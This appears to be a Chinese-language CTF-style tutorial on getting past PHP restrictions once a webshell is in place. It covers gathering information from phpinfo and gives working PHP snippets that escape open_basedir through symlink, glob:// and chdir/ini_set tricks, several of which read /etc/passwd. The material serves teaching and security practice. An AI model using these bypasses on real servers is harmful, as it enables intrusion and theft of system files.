bypass disable function
是否遇到过费劲九牛二虎之力拿了webshell,却发现连个scandir都执行不了?拿了webshell确实是一件很欢乐的事情,但有时候却仅仅只是一个小阶段的结束;本文将会以webshell作为起点从头到尾来归纳bypass disable function的各种姿势。
从phpinfo中获取可用信息信息收集是不可缺少的一环;通常的,我们在通过前期各种工作成功执行代码 or 发现了一个phpinfo页面之后,会从该页面中搜集一些可用信息以便后续漏洞的寻找。
我谈谈我个人的几个偏向点:
版本号最直观的就是php版本号(虽然版本号有时候会在响应头中出现),如我的机器上版本号为:
PHP Version 7.2.9-1那么找到版本号后就会综合看看是否有什么"版本专享"漏洞可以利用。
DOCUMENT_ROOT接下来就是搜索一下DOCUMENT_ROOT取得网站当前路径,虽然常见的都是在/var/www/html,但难免有例外。
disable_functions这是本文的重点,disable_functions顾名思义函数禁用,以笔者的kali环境为例,
如一些ctf题会把disable设置的极其恶心,即使我们在上传马儿到网站后会发现什么也做不了,那么此时的绕过就是本文所要讲的内容了。
open_basedir该配置限制了当前php程序所能访问到的路径,如笔者设置了:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); phpinfo();随后我们能够看到phpinfo中出现如下:
尝试scandir会发现列根目录失败。
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); //phpinfo(); var_dump(scandir(".")); var_dump(scandir("/")); //array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false) opcache如果使用了opcache,那么可能达成getshell,但需要存在文件上传的点,直接看链接:
https://www.cnblogs.com/xhds/p/13239331.html
others如文件包含时判断协议是否可用的两个配置项:
allow_url_include、allow_url_fopen上传webshell时判断是否可用短标签的配置项:
short_open_tag还有一些会在下文中讲到。
bypass open_basedir因为有时需要根据题目判断采用哪种bypass方式,同时,能够列目录对于下一步测试有不小帮助,这里列举几种比较常见的bypass方式,均从p神博客摘出,推荐阅读p神博客原文,这里仅作简略总结。
syslinkhttps://www.php.net/manual/zh/function.symlink.php
symlink ( string $target , string $link ) : bool
symlink() 对于已有的 target 建立一个名为 link 的符号连接。
简单来说就是建立软链达成bypass。
代码实现如下:
<?php symlink("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink");首先是创建一个link,将tmplink用相对路径指向abc/abc/abc/abc,然后再创建一个link,将exploit指向tmplink/../../../../etc/passwd,此时就相当于exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相当于exploit指向了./etc/passwd,此时删除tmplink文件后再创建tmplink目录,此时就变为/etc/passwd成功跨目录。
访问exploit即可读取到/etc/passwd。
glob查找匹配的文件路径模式,是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议
常用bypass方式如下:
<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>但会发现比较神奇的是只能列举根目录下的文件。
chdir()与ini_set()chdir是更改当前工作路径。
mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/etc/passwd');